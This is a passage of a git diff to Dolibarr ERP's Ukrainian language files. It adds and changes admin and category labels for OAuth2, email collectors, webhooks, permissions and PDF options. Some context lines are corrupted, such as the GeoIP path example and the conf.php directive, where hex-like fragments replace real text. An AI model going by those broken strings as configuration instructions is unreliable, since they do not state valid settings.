покупку.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Можливості перетворення GeoIP Maxmind Module3200Name=Незмінні архіви Module3200Desc=Увімкнути незмінний журнал ділових подій. Події архівуються в режимі реального часу. Журнал – це доступна лише для читання таблиця зв’язаних подій, які можна експортувати. Цей модуль може бути обов’язковим для деяких країн. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Соціальні мережі Module3400Desc=Увімкнути поля соціальних мереж для третіх сторін і адрес (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Інкотермс Module62000Desc=Додайте функції для керування Інкотермс Module63000Name=Ресурси Module63000Desc=Керуйте ресурсами (принтерами, автомобілями, кімнатами, ...) для розподілу подій -Permission11=Читайте рахунки-фактури клієнтів +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Створення/змінювання рахунків-фактур клієнтів Permission13=Визнати недійсними рахунки клієнта Permission14=Перевірка рахунків-фактур клієнтів @@ -714,6 +724,7 @@ Permission27=Видалити комерційні пропозиції Permission28=Експортні комерційні пропозиції Permission31=Читайте продукти Permission32=Створювати/змінювати продукти +Permission33=Read prices products Permission34=Видалити продукти Permission36=Переглядати/керувати прихованими продуктами Permission38=Експортна продукція @@ -739,6 +750,7 @@ Permission79=Створення/змінювання підписок Permission81=Читайте замовлення клієнтів Permission82=Створення/змінювання замовлень клієнтів Permission84=Перевіряйте замовлення клієнтів +Permission85=Generate the documents sales orders Permission86=Відправляти замовлення клієнтам Permission87=Закрити замовлення клієнтів Permission88=Скасувати замовлення клієнтів @@ -840,9 +852,9 @@ Permission286=Експортувати контакти Permission291=Читайте тарифи Permission292=Налаштувати дозволи на тарифи Permission293=Змінити тарифи клієнта -Permission300=Читайте штрих-коди -Permission301=Створення/змінювання штрих-кодів -Permission302=Видалити штрих-коди +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Читайте послуги Permission312=Призначити послугу/підписку на контракт Permission331=Прочитайте закладки @@ -874,6 +886,7 @@ Permission525=Доступ до кредитного калькулятора Permission527=Експортні кредити Permission531=Читайте послуги Permission532=Створювати/змінювати служби +Permission533=Read prices services Permission534=Видалити послуги Permission536=Переглядати/керувати прихованими службами Permission538=Експортні послуги @@ -937,7 +950,7 @@ Permission1190=Затвердити (друге затвердження) зам Permission1191=Експортувати замовлення постачальника та їх атрибути Permission1201=Отримати результат експорту Permission1202=Створити/змінити експорт -Permission1231=Читайте рахунки постачальників +Permission1231=Read vendor invoices (and payments) Permission1232=Створення/змінювання рахунків-фактур постачальників Permission1233=Перевірка рахунків постачальників Permission1234=Видалити рахунки-фактури постачальників @@ -968,13 +981,14 @@ Permission3301=Створення нових модулів Permission4001=Читайте навички/робота/посада Permission4002=Створити/змінити навички/роботу/позицію Permission4003=Видалити навички/роботу/позицію -Permission4020=Прочитайте оцінки -Permission4021=Створіть/змініть свою оцінку -Permission4022=Підтвердити оцінку -Permission4023=Видалити оцінку -Permission4030=Дивіться меню порівняння +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Прочитайте особисту інформацію Permission4032=Напишіть особисту інформацію +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Читайте вміст веб-сайту Permission10002=Створення/змінювання вмісту веб-сайту (вміст HTML і JavaScript) Permission10003=Створення/змінювання вмісту веб-сайту (динамічний php-код). Небезпечно, має бути зарезервовано для обмежених розробників. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Вид вибуття активів TypeOfUnit=Тип агрегату SetupSaved=Налаштування збережено SetupNotSaved=Налаштування не збережено +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Повернутися до списку модулів BackToDictionaryList=Повернутися до списку словників TypeOfRevenueStamp=Вид податкової марки @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      Це програмне SetupDescription5=Інші пункти меню налаштування керують додатковими параметрами. SetupDescriptionLink= %s - %s SetupDescription3b=Основні параметри, які використовуються для налаштування типової поведінки вашої програми (наприклад, для функцій, пов’язаних із країною). -SetupDescription4b=Це програмне забезпечення являє собою набір багатьох модулів/програм. Модулі, що відповідають вашим потребам, повинні бути увімкнені та налаштовані. Після активації цих модулів з’являться пункти меню. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Події безпеки, які перевіряються NoSecurityEventsAreAduited=Жодні події безпеки не перевіряються. Ви можете ввімкнути їх з меню %s Audit=Події безпеки @@ -1235,11 +1253,13 @@ BrowserName=Назва браузера BrowserOS=ОС браузера ListOfSecurityEvents=Список подій безпеки Dolibarr SecurityEventsPurged=Події безпеки очищені +TrackableSecurityEvents=Trackable security events LogEventDesc=Увімкнути ведення журналу для певних подій безпеки. Адміністратори ведуть журнал через меню %s - %s . Увага, ця функція може генерувати велику кількість даних у базі даних. AreaForAdminOnly=Параметри налаштування можуть встановлювати лише користувачі адміністратора . SystemInfoDesc=Системна інформація – це різна технічна інформація, яку ви отримуєте в режимі лише для читання та видиму лише для адміністраторів. SystemAreaForAdminOnly=Ця область доступна лише користувачам-адміністраторам. Дозволи користувача Dolibarr не можуть змінити це обмеження. CompanyFundationDesc=Відредагуйте інформацію про свою компанію/організацію. Після завершення натисніть кнопку «%s» внизу сторінки. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Якщо у вас є зовнішній бухгалтер/бухгалтер, ви можете змінити тут його інформацію. AccountantFileNumber=Код бухгалтера DisplayDesc=Тут можна змінити параметри, що впливають на зовнішній вигляд та презентацію програми. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=Тригери в цьому файлі активн GeneratedPasswordDesc=Виберіть метод, який буде використовуватися для автоматично згенерованих паролів. DictionaryDesc=Вставте всі довідкові дані. Ви можете додати свої значення до стандартних. ConstDesc=Ця сторінка дозволяє редагувати (замінювати) параметри, недоступні на інших сторінках. Це переважно зарезервовані параметри лише для розробників/розширених методів усунення несправностей. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Усі інші параметри, пов’язані з безпекою, визначені тут. LimitsSetup=Обмеження/Точність налаштування LimitsDesc=Ви можете визначити межі, точність та оптимізацію, які використовує Dolibarr тут @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Ви повинні запус YourPHPDoesNotHaveSSLSupport=Функції SSL недоступні у вашому PHP DownloadMoreSkins=Більше скінів для завантаження SimpleNumRefModelDesc=Повертає контрольний номер у форматі %syymm-nnnn, де yy – рік, mm – місяць, а nnnn – послідовне число, що автоматично збільшується без скидання. +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Повертає контрольний номер у форматі %s-nnnn, де nnnn – послідовне число, що автоматично збільшується без скидання ShowProfIdInAddress=Показати професійне посвідчення з адресами ShowVATIntaInAddress=Приховати номер ПДВ у межах Співтовариства @@ -1376,7 +1399,7 @@ GetBarCode=Отримати штрих-код NumberingModules=Нумерація моделей DocumentModules=Моделі документів ##### Module password generation -PasswordGenerationStandard=Повернути пароль, згенерований відповідно до внутрішнього алгоритму Долібарра: %s символи, що містять спільні цифри та символи в нижньому регістрі. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Не пропонуйте згенерований пароль. Пароль необхідно вводити вручну. PasswordGenerationPerso=Поверніть пароль відповідно до вашої особисто визначеної конфігурації. SetupPerso=Відповідно до вашої конфігурації @@ -1430,6 +1453,10 @@ SuppliersPayment=Платежі постачальників SupplierPaymentSetup=Налаштування оплати постачальником InvoiceCheckPosteriorDate=Перевірте дату виготовлення перед підтвердженням InvoiceCheckPosteriorDateHelp=Перевірка рахунка-фактури буде заборонена, якщо його дата передує даті останнього рахунка-фактури такого ж типу. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Налаштування модуля комерційних пропозицій ProposalsNumberingModules=Моделі нумерації комерційних пропозицій @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Водяний знак на проектах ко ##### Members ##### MembersSetup=Налаштування модуля Members MemberMainOptions=Основні варіанти +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Керуйте логіном для кожного члена AdherentMailRequired=Для створення нового учасника потрібна електронна адреса MemberSendInformationByMailByDefault=Прапорець для надсилання підтвердження поштою учасникам (перевірка або нова підписка) увімкнено за замовчуванням MemberCreateAnExternalUserForSubscriptionValidated=Створіть зовнішній логін користувача для кожної підтвердженої підписки нового члена -VisitorCanChooseItsPaymentMode=Відвідувач може вибрати один із доступних способів оплати +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Увімкнути автоматичне нагадування електронною поштою про термін дії підписок. Примітка. Модуль %s має бути увімкнений та правильно налаштований для надсилання нагадувань. MembersDocModules=Шаблони документів для документів, створених із запису члена ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=Активувати розширений редактор д FCKeditorForNotePublic=Створення/видання WYSIWIG поля «публічні примітки» елементів FCKeditorForNotePrivate=Створення/видання WYSIWIG поля «приватні примітки» елементів FCKeditorForCompany=Створення/видання WYSIWIG опису поля елементів (крім продуктів/послуг) -FCKeditorForProduct=Створення/видання WYSIWIG опису поля продуктів/послуг -FCKeditorForProductDetails=Створення/видання WYSIWIG рядків деталей продуктів для всіх сутностей (пропозиції, замовлення, рахунки-фактури тощо...). Попередження: використання цієї опції в цьому випадку серйозно не рекомендується, оскільки це може створити проблеми зі спеціальними символами та форматуванням сторінки під час створення PDF-файлів. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Створення/видання WYSIWIG для масових розсилок електронною поштою (Інструменти->Електронна розсилка) FCKeditorForUserSignature=Створення/видання підпису користувача WYSIWIG FCKeditorForMail=Створення/видання WYSIWIG для всієї пошти (крім Інструменти->Електронна розсилка) @@ -1762,7 +1790,7 @@ DetailMenuHandler=Обробник меню, де відображати нов DetailMenuModule=Ім’я модуля, якщо вхід в меню надходить із модуля DetailType=Тип меню (верхнє або ліворуч) DetailTitre=Мітка меню або код етикетки для перекладу -DetailUrl=URL-адреса, куди вам надсилає меню (Посилання на абсолютну URL-адресу або зовнішнє посилання з http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Умова для показу чи не входу DetailRight=Умова для відображення несанкціонованих сірих меню DetailLangs=Назва файлу мови для перекладу коду етикетки @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Використовувати типи подій (кер AGENDA_USE_EVENT_TYPE_DEFAULT=Автоматично встановлювати це значення за замовчуванням для типу події у формі створення події AGENDA_DEFAULT_FILTER_TYPE=Автоматично встановлювати цей тип події у фільтрі пошуку перегляду порядку денного AGENDA_DEFAULT_FILTER_STATUS=Автоматично встановлювати цей статус для подій у фільтрі пошуку перегляду порядку денного +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Який перегляд ви хочете відкрити за замовчуванням, вибравши меню Порядок денний AGENDA_REMINDER_BROWSER=Увімкнути нагадування про подію у браузері користувача (Коли досягнуто дати нагадування, браузер відображає спливаюче вікно. Кожен користувач може вимкнути такі сповіщення в налаштуваннях сповіщень браузера). AGENDA_REMINDER_BROWSER_SOUND=Увімкнути звукові сповіщення @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Зменшення запасів у CashDeskYouDidNotDisableStockDecease=Ви не вимкнули зменшення запасів під час продажу з точки продажу. Тому потрібен склад. CashDeskForceDecreaseStockLabel=Зменшення запасів партійної продукції було вимушеним. CashDeskForceDecreaseStockDesc=Зменшіть спочатку на найстаріші дати споживання та продажу. -CashDeskReaderKeyCodeForEnter=Код ключа для "Enter", визначений у зчитувачі штрих-кодів (Приклад: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Налаштування модуля закладки BookmarkDesc=Цей модуль дозволяє керувати закладками. Ви також можете додати ярлики до будь-яких сторінок Dolibarr або зовнішніх веб-сайтів у лівому меню. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Моделі нумерації рахунків- IfSetToYesDontForgetPermission=Якщо встановлено значення, відмінне від null, не забудьте надати дозволи групам або користувачам, яким дозволено друге схвалення ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Налаштування модуля GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Шлях до файлу, що містить переклад Maxmind ip у країну.
      Приклади:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat a0342fccfda/Geoip. +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Зауважте, що ваш файл із даними IP-адреси для країни повинен знаходитися в каталозі, який може прочитати ваш PHP (перевірте налаштування PHP open_basedir і дозволи файлової системи). YouCanDownloadFreeDatFileTo=Ви можете завантажити безкоштовну демонстраційну версію файлу країни Maxmind GeoIP за адресою %s. YouCanDownloadAdvancedDatFileTo=Ви також можете завантажити більш повну версію з оновленнями, файлу країни Maxmind GeoIP за адресою %s. @@ -1922,6 +1953,7 @@ BackupDumpWizard=Майстер для створення файлу дампа BackupZipWizard=Майстер для створення архіву документів каталогу SomethingMakeInstallFromWebNotPossible=Установка зовнішнього модуля з веб-інтерфейсу неможлива з наступних причин: SomethingMakeInstallFromWebNotPossible2=З цієї причини описаний тут процес оновлення є ручним процесом, який може виконувати лише привілейований користувач. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Встановлення зовнішнього модуля з програми було вимкнено вашим адміністратором. Ви повинні попросити його видалити файл %s , щоб дозволити цю функцію. ConfFileMustContainCustom=Для встановлення або створення зовнішнього модуля з програми необхідно зберегти файли модуля в каталозі %s . Щоб цей каталог обробив Dolibarr, ви повинні налаштувати ваш conf/conf.php , щоб додати 2 рядки директиви:
      a0e7843947c06brl'/mainro_doli_bz0';

      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Підсвічуйте рядки таблиці, коли курсор миші проходить @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Замовлення на закупівлю MailToSendSupplierInvoice=Рахунки постачальників MailToSendContract=Контракти MailToSendReception=Прийоми +MailToExpenseReport=Expense reports MailToThirdparty=Треті особи MailToMember=Члени MailToUser=Користувачі @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Праве поле в PDF MAIN_PDF_MARGIN_TOP=Верхнє поле в PDF MAIN_PDF_MARGIN_BOTTOM=Нижнє поле в PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Висота логотипу в PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Додайте стовпець для зображення в рядках пропозиції MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Ширина стовпця, якщо зображення додано по рядках MAIN_PDF_NO_SENDER_FRAME=Приховати межі в рамці адреси відправника @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Видалити спеціальні символи COMPANY_AQUARIUM_CLEAN_REGEX=Фільтр регулярних виразів для очищення значення (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Фільтр регулярних виразів для очищення значення (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Копіювання заборонено +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Офіцер із захисту даних (DPO, конфіденційність даних або GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Текст довідки для відображення у підказці @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Додайте заплановану роботу та сторінку налаштування, щоб регулярно сканувати скриньки електронної пошти (за допомогою протоколу IMAP) і записувати електронні листи, отримані у вашу програму, у потрібному місці та/або створювати деякі записи автоматично (наприклад, потенційні клієнти). NewEmailCollector=Новий збірник електронної пошти EMailHost=Хост сервера електронної пошти IMAP +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Джерельний каталог поштової скриньки MailboxTargetDirectory=Цільовий каталог поштової скриньки EmailcollectorOperations=Операції, які виконує колектор EmailcollectorOperationsDesc=Операції виконуються зверху вниз MaxEmailCollectPerCollect=Максимальна кількість електронних листів, зібраних за один збір +TestCollectNow=Test collect CollectNow=Зберіть зараз ConfirmCloneEmailCollector=Ви впевнені, що хочете клонувати збірник електронної пошти %s? DateLastCollectResult=Дата останньої спроби збору @@ -2097,6 +2140,7 @@ CodeLastResult=Останній код результату NbOfEmailsInInbox=Кількість листів у вихідному каталозі LoadThirdPartyFromName=Завантажити пошук третьої сторони на %s (лише завантаження) LoadThirdPartyFromNameOrCreate=Завантажити пошук третьої сторони на %s (створити, якщо не знайдено) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Збережіть вкладені файли в об’єктні документи, якщо посилання на об’єкт знайдено в темі електронної пошти. WithDolTrackingID=Повідомлення з бесіди, ініційованої першим електронним листом, надісланим з Dolibarr WithoutDolTrackingID=Повідомлення з розмови, ініційованої першим електронним листом, НЕ надісланим з Dolibarr @@ -2106,7 +2150,7 @@ CreateCandidature=Створити заявку на роботу FormatZip=Застібка на блискавці MainMenuCode=Код входу в меню (головне меню) ECMAutoTree=Показати автоматичне дерево ECM -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Години роботи OpeningHoursDesc=Введіть тут звичайні години роботи вашої компанії. ResourceSetup=Конфігурація модуля ресурсів @@ -2171,6 +2215,7 @@ ShowProjectLabel=Етикетка проекту PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Якщо ви хочете, щоб деякі тексти у вашому PDF-файлі були продубльовані двома різними мовами в одному згенерованому PDF-файлі, ви повинні встановити тут цю другу мову, щоб згенерований PDF-файл містив 2 різні мови на одній сторінці, одну, вибрану під час створення PDF-файлу, і цю ( лише кілька шаблонів PDF підтримують це). Залиште порожнім для 1 мови для PDF. PDF_USE_A=Створюйте PDF-документи у форматі PDF/A замість формату PDF за умовчанням FafaIconSocialNetworksDesc=Введіть тут код значка FontAwesome. Якщо ви не знаєте, що таке FontAwesome, ви можете використовувати загальне значення fa-address-book. @@ -2199,12 +2244,12 @@ MailToPartnership=Партнерство AGENDA_EVENT_DEFAULT_STATUS=Статус події за замовчуванням під час створення події з форми YouShouldDisablePHPFunctions=Вам слід вимкнути функції PHP IfCLINotRequiredYouShouldDisablePHPFunctions=За винятком випадків, коли вам потрібно запускати системні команди в спеціальному коді, ви повинні вимкнути функції PHP -PHPFunctionsRequiredForCLI=Для цілей оболонки (наприклад, запланованого резервного копіювання завдань або запуску програми anitivurs) ви повинні зберегти функції PHP +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=У вашому кореневому каталозі не знайдено жодних записуваних файлів або каталогів звичайних програм (Добре) RecommendedValueIs=Рекомендовано: %s Recommended=Рекомендована NotRecommended=Не рекомендовано -ARestrictedPath=Якийсь обмежений шлях +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Перевірте наявність оновлень зовнішніх модулів CheckForModuleUpdateHelp=Ця дія підключить редактори зовнішніх модулів, щоб перевірити, чи доступна нова версія. ModuleUpdateAvailable=Доступне оновлення @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=Не знайдено оновлень для зов SwaggerDescriptionFile=Файл опису API Swagger (наприклад, для використання з redoc) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Ви ввімкнули застарілий WS API. Натомість слід використовувати REST API. RandomlySelectedIfSeveral=Вибирається випадковим чином, якщо доступно кілька зображень +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Пароль бази даних заплутаний у файлі conf DatabasePasswordNotObfuscated=Пароль бази даних НЕ обфускується у файлі conf APIsAreNotEnabled=Модулі API не ввімкнені @@ -2251,10 +2297,10 @@ LateWarningAfter=«Пізнє» попередження після TemplateforBusinessCards=Шаблон для візитки різного розміру InventorySetup= Налаштування інвентарю ExportUseLowMemoryMode=Використовуйте режим малої пам’яті -ExportUseLowMemoryModeHelp=Використовуйте режим малої пам’яті для виконання дампу (стиснення виконується через канал, а не в пам’ять PHP). Цей метод не дозволяє перевірити, що файл заповнений, і повідомлення про помилку не можна повідомити, якщо він не вдається. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Налаштування WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/uk_UA/categories.lang b/htdocs/langs/uk_UA/categories.lang index 4cd58826ade..939f608cc56 100644 --- a/htdocs/langs/uk_UA/categories.lang +++ b/htdocs/langs/uk_UA/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Цього учасника немає в жодних те ContactHasNoCategory=Цей контакт немає в жодних тегах/категоріях ProjectHasNoCategory=Цього проекту немає в жодних тегах/категоріях ClassifyInCategory=Додати до тегу/категорії +RemoveCategory=Remove category NotCategorized=Без тегу/категорії CategoryExistsAtSameLevel=Ця категорія вже існує з цим посиланням ContentsVisibleByAllShort=Вміст видимий усім @@ -67,6 +68,7 @@ StockCategoriesShort=Складські теги/категорії ThisCategoryHasNoItems=Ця категорія не містить жодних елементів. CategId=Ідентифікатор тегу/категорії ParentCategory=Батьківський тег/категорія +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Мітка батьківського тега/категорії CatSupList=Список тегів/категорій постачальників CatCusList=Список тегів/категорій клієнтів/потенційних клієнтів @@ -86,7 +88,7 @@ DeleteFromCat=Видалити з тегів/категорій ExtraFieldsCategories=Додаткові атрибути CategoriesSetup=Налаштування тегів/категорій CategorieRecursiv=Посилання з батьківським тегом/категорією автоматично -CategorieRecursivHelp=Якщо цей параметр увімкнено, коли ви додаєте продукт до підкатегорії, продукт також буде додано до батьківської категорії. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Додайте наступний продукт/послугу AddCustomerIntoCategory=Призначте категорію клієнту AddSupplierIntoCategory=Призначте категорію постачальнику @@ -95,7 +97,9 @@ ShowCategory=Показати тег/категорію ByDefaultInList=За замовчуванням у списку ChooseCategory=Виберіть категорію StocksCategoriesArea=Складські категорії 